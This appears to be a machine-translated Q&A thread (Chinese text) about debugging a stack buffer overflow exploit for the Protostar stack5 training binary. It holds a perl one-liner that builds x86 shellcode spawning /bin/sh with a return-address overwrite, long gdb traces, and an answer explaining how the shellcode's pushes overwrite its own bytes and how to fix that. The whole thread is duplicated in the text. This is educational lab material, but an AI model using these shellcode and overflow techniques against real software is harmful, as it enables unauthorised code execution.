Shellcode 未正确执行
Shellcode not executed properly
我正在尝试解决 Protostar stack5。
这里有一个solution。
它把 shellcode 放在 return 地址之后,我试着把它放在数组中。
我试过 shell 代码,它有效。
似乎一切正常,执行跳转到 shell 代码,但在 shell 代码结束后出现分段错误,并且没有生成 shell。我不知道为什么,在 gdb
中并非所有 shell 代码指令都能正确显示。
例如 0xbffff690
应该是 mov %esp,%ecx
而不是 cwtl
。也许这是问题所在?为什么会这样?
编辑:由于在 gdb
外部启动时数组地址会略有不同,我们需要一个 nop sled。所以我的方法可能行不通,因为数组大小对于这个来说太小了。但是我仍然想知道为什么 shell 代码的结尾在 gdb
.
中被错误地解释了
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and [=10=]xfffffff0,%esp
0x080483ca <main+6>: sub [=10=]x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov [=10=]x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int [=10=]x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push [=10=]x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push [=10=]x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov [=10=]x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov [=10=]x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int [=10=]x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push [=10=]x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push [=10=]x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov [=10=]x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
有趣的问题。答案是:你的stack overflow中有stack overflow。
在我的系统上,main 的反汇编地址略有不同:
(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and [=10=]xfffffff0,%esp
0x08048423 <+6>: sub [=10=]x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <gets@plt>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
堆栈地址也不一样:停在0x0804841d
时的return地址是0xffffcedc
,也就是说当我到达gets
时的值$eax
是 0xffffce90
,我需要相应地调整利用代码。
然后我在*0x08048433
中设置了一个断点,并在到达它后执行以下命令:
(gdb) display/23i 0xffffce90
(gdb) stepi
这是我随后看到的:
0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb)
到目前为止,一切进展顺利。但是看看当我们到达 0xffffcebe
和 stepi
时会发生什么:
0xffffcebf in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=13=]x6,%al
0xffffce96: int [=13=]x80
0xffffce98: push %ebx
0xffffce99: push [=13=]x7974742f
0xffffce9e: push [=13=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=13=]x2712,%cx
0xffffceab: mov [=13=]x5,%al
0xffffcead: int [=13=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=13=]x68732f2f
0xffffceb7: push [=13=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=13=]x0,%al
0xffffcec5: add %al,(%eax)
刚刚执行的push
用其他东西(即$eax
的内容)覆盖了曾经在0xffffcec5
的int80
。这是因为我们在堆栈上执行指令,同时 同时 push
将值写入同一个堆栈!
另一个 stepi
,我看到了这个:
(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=14=]x6,%al
0xffffce96: int [=14=]x80
0xffffce98: push %ebx
0xffffce99: push [=14=]x7974742f
0xffffce9e: push [=14=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=14=]x2712,%cx
0xffffceab: mov [=14=]x5,%al
0xffffcead: int [=14=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=14=]x68732f2f
0xffffceb7: push [=14=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter [=14=]xffce,[=14=]xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
而下一个 stepi
导致 SIGSEGV
:
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
那么解决方案是什么?
当我们在 0xffffce90
处输入代码时,我们的堆栈指向 0xffffcee0
,即 shellcode 后仅 80 个字节。我们的 shellcode 长度是 54 字节。因此,在我们开始破坏我们的 shellcode 之前,我们最多可以将 6 个单词压入堆栈。
当前 shellcode 推送 8 个单词,在第 7 次和第 8 次推送时破坏自身。
shellcode 需要弹出一些单词(例如,在 0xffffcead
的第一个系统调用之后添加 pop %eax
),或者扩展堆栈,例如add [=37=]x80,%esp
进入时,因此在 shellcode 末尾和堆栈顶部之间有很多 space。
我用过后者,效果不错:
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash
我正在尝试解决 Protostar stack5。 这里有一个solution。 它把 shellcode 放在 return 地址之后,我试着把它放在数组中。 我试过 shell 代码,它有效。
似乎一切正常,执行跳转到 shell 代码,但在 shell 代码结束后出现分段错误,并且没有生成 shell。我不知道为什么,在 gdb
中并非所有 shell 代码指令都能正确显示。
例如 0xbffff690
应该是 mov %esp,%ecx
而不是 cwtl
。也许这是问题所在?为什么会这样?
编辑:由于在 gdb
外部启动时数组地址会略有不同,我们需要一个 nop sled。所以我的方法可能行不通,因为数组大小对于这个来说太小了。但是我仍然想知道为什么 shell 代码的结尾在 gdb
.
perl -e 'print "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "A"x21 . "\x60\xf6\xff\xbf"' > /tmp/o2
user@protostar:/opt/protostar/bin$ gdb -q stack5
Reading symbols from /opt/protostar/bin/stack5...done.
(gdb) disas main
Dump of assembler code for function main:
0x080483c4 <main+0>: push %ebp
0x080483c5 <main+1>: mov %esp,%ebp
0x080483c7 <main+3>: and [=10=]xfffffff0,%esp
0x080483ca <main+6>: sub [=10=]x50,%esp
0x080483cd <main+9>: lea 0x10(%esp),%eax
0x080483d1 <main+13>: mov %eax,(%esp)
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.
(gdb) b *0x080483da
Breakpoint 1 at 0x80483da: file stack5/stack5.c, line 11.
(gdb) r < /tmp/o2
Starting program: /opt/protostar/bin/stack5 < /tmp/o2
Breakpoint 1, 0x080483da in main (argc=Cannot access memory at address 0x41414149
) at stack5/stack5.c:11
11 stack5/stack5.c: No such file or directory.
in stack5/stack5.c
(gdb) b *0xbffff660
Breakpoint 2 at 0xbffff660
(gdb) c
Continuing.
Breakpoint 2, 0xbffff660 in ?? ()
(gdb) display/i $pc
1: x/i $pc
0xbffff660: xor %eax,%eax
(gdb) ni
0xbffff662 in ?? ()
1: x/i $pc
0xbffff662: xor %ebx,%ebx
(gdb)
0xbffff664 in ?? ()
1: x/i $pc
0xbffff664: mov [=10=]x6,%al
(gdb)
0xbffff666 in ?? ()
1: x/i $pc
0xbffff666: int [=10=]x80
(gdb)
0xbffff668 in ?? ()
1: x/i $pc
0xbffff668: push %ebx
(gdb)
0xbffff669 in ?? ()
1: x/i $pc
0xbffff669: push [=10=]x7974742f
(gdb)
0xbffff66e in ?? ()
1: x/i $pc
0xbffff66e: push [=10=]x7665642f
(gdb)
0xbffff673 in ?? ()
1: x/i $pc
0xbffff673: mov %esp,%ebx
(gdb)
0xbffff675 in ?? ()
1: x/i $pc
0xbffff675: xor %ecx,%ecx
(gdb)
0xbffff677 in ?? ()
1: x/i $pc
0xbffff677: mov [=10=]x2712,%cx
(gdb)
0xbffff67b in ?? ()
1: x/i $pc
0xbffff67b: mov [=10=]x5,%al
(gdb)
0xbffff67d in ?? ()
1: x/i $pc
0xbffff67d: int [=10=]x80
(gdb)
0xbffff67f in ?? ()
1: x/i $pc
0xbffff67f: xor %eax,%eax
(gdb)
0xbffff681 in ?? ()
1: x/i $pc
0xbffff681: push %eax
(gdb)
0xbffff682 in ?? ()
1: x/i $pc
0xbffff682: push [=10=]x68732f2f
(gdb)
0xbffff687 in ?? ()
1: x/i $pc
0xbffff687: push [=10=]x6e69622f
(gdb)
0xbffff68c in ?? ()
1: x/i $pc
0xbffff68c: mov %esp,%ebx
(gdb)
0xbffff68e in ?? ()
1: x/i $pc
0xbffff68e: push %eax
(gdb)
0xbffff68f in ?? ()
1: x/i $pc
0xbffff68f: push %ebx
(gdb)
0xbffff690 in ?? ()
1: x/i $pc
0xbffff690: cwtl
(gdb)
0xbffff691 in ?? ()
1: x/i $pc
0xbffff691: idiv %bh
(gdb)
0xbffff693 in ?? ()
1: x/i $pc
0xbffff693: mov [=10=]x0,%edi
(gdb)
0xbffff698 in ?? ()
1: x/i $pc
0xbffff698: das
(gdb)
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
(gdb)
Program received signal SIGSEGV, Segmentation fault.
0xbffff699 in ?? ()
1: x/i $pc
0xbffff699: bound %ebp,0x6e(%ecx)
有趣的问题。答案是:你的stack overflow中有stack overflow。
在我的系统上,main 的反汇编地址略有不同:
(gdb) disas
Dump of assembler code for function main:
0x0804841d <+0>: push %ebp
0x0804841e <+1>: mov %esp,%ebp
0x08048420 <+3>: and [=10=]xfffffff0,%esp
0x08048423 <+6>: sub [=10=]x50,%esp
0x08048426 <+9>: lea 0x10(%esp),%eax
0x0804842a <+13>: mov %eax,(%esp)
0x0804842d <+16>: call 0x80482f0 <gets@plt>
0x08048432 <+21>: leave
0x08048433 <+22>: ret
End of assembler dump.
堆栈地址也不一样:停在0x0804841d
时的return地址是0xffffcedc
,也就是说当我到达gets
时的值$eax
是 0xffffce90
,我需要相应地调整利用代码。
然后我在*0x08048433
中设置了一个断点,并在到达它后执行以下命令:
(gdb) display/23i 0xffffce90
(gdb) stepi
这是我随后看到的:
0xffffce90 in ?? ()
1: x/23i 0xffffce90
=> 0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb) # I press Enter here to repeat stepi
0xffffce92 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
=> 0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb)
0xffffce94 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
=> 0xffffce94: mov [=12=]x6,%al
0xffffce96: int [=12=]x80
0xffffce98: push %ebx
0xffffce99: push [=12=]x7974742f
0xffffce9e: push [=12=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=12=]x2712,%cx
0xffffceab: mov [=12=]x5,%al
0xffffcead: int [=12=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=12=]x68732f2f
0xffffceb7: push [=12=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=12=]xb,%al
0xffffcec5: int [=12=]x80
(gdb)
到目前为止,一切进展顺利。但是看看当我们到达 0xffffcebe
和 stepi
时会发生什么:
0xffffcebf in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=13=]x6,%al
0xffffce96: int [=13=]x80
0xffffce98: push %ebx
0xffffce99: push [=13=]x7974742f
0xffffce9e: push [=13=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=13=]x2712,%cx
0xffffceab: mov [=13=]x5,%al
0xffffcead: int [=13=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=13=]x68732f2f
0xffffceb7: push [=13=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
=> 0xffffcebf: push %ebx
0xffffcec0: mov %esp,%ecx
0xffffcec2: cltd
0xffffcec3: mov [=13=]x0,%al
0xffffcec5: add %al,(%eax)
刚刚执行的push
用其他东西(即$eax
的内容)覆盖了曾经在0xffffcec5
的int80
。这是因为我们在堆栈上执行指令,同时 同时 push
将值写入同一个堆栈!
另一个 stepi
,我看到了这个:
(gdb) stepi
0xffffcec0 in ?? ()
1: x/23i 0xffffce90
0xffffce90: xor %eax,%eax
0xffffce92: xor %ebx,%ebx
0xffffce94: mov [=14=]x6,%al
0xffffce96: int [=14=]x80
0xffffce98: push %ebx
0xffffce99: push [=14=]x7974742f
0xffffce9e: push [=14=]x7665642f
0xffffcea3: mov %esp,%ebx
0xffffcea5: xor %ecx,%ecx
0xffffcea7: mov [=14=]x2712,%cx
0xffffceab: mov [=14=]x5,%al
0xffffcead: int [=14=]x80
0xffffceaf: xor %eax,%eax
0xffffceb1: push %eax
0xffffceb2: push [=14=]x68732f2f
0xffffceb7: push [=14=]x6e69622f
0xffffcebc: mov %esp,%ebx
0xffffcebe: push %eax
0xffffcebf: push %ebx
=> 0xffffcec0: enter [=14=]xffce,[=14=]xff
0xffffcec4: add %al,(%eax)
0xffffcec6: add %al,(%eax)
0xffffcec8: das
而下一个 stepi
导致 SIGSEGV
:
(gdb) stepi
Program received signal SIGSEGV, Segmentation fault.
那么解决方案是什么?
当我们在 0xffffce90
处输入代码时,我们的堆栈指向 0xffffcee0
,即 shellcode 后仅 80 个字节。我们的 shellcode 长度是 54 字节。因此,在我们开始破坏我们的 shellcode 之前,我们最多可以将 6 个单词压入堆栈。
当前 shellcode 推送 8 个单词,在第 7 次和第 8 次推送时破坏自身。
shellcode 需要弹出一些单词(例如,在 0xffffcead
的第一个系统调用之后添加 pop %eax
),或者扩展堆栈,例如add [=37=]x80,%esp
进入时,因此在 shellcode 末尾和堆栈顶部之间有很多 space。
我用过后者,效果不错:
(gdb) c
Continuing.
process 21439 is executing new program: /bin/bash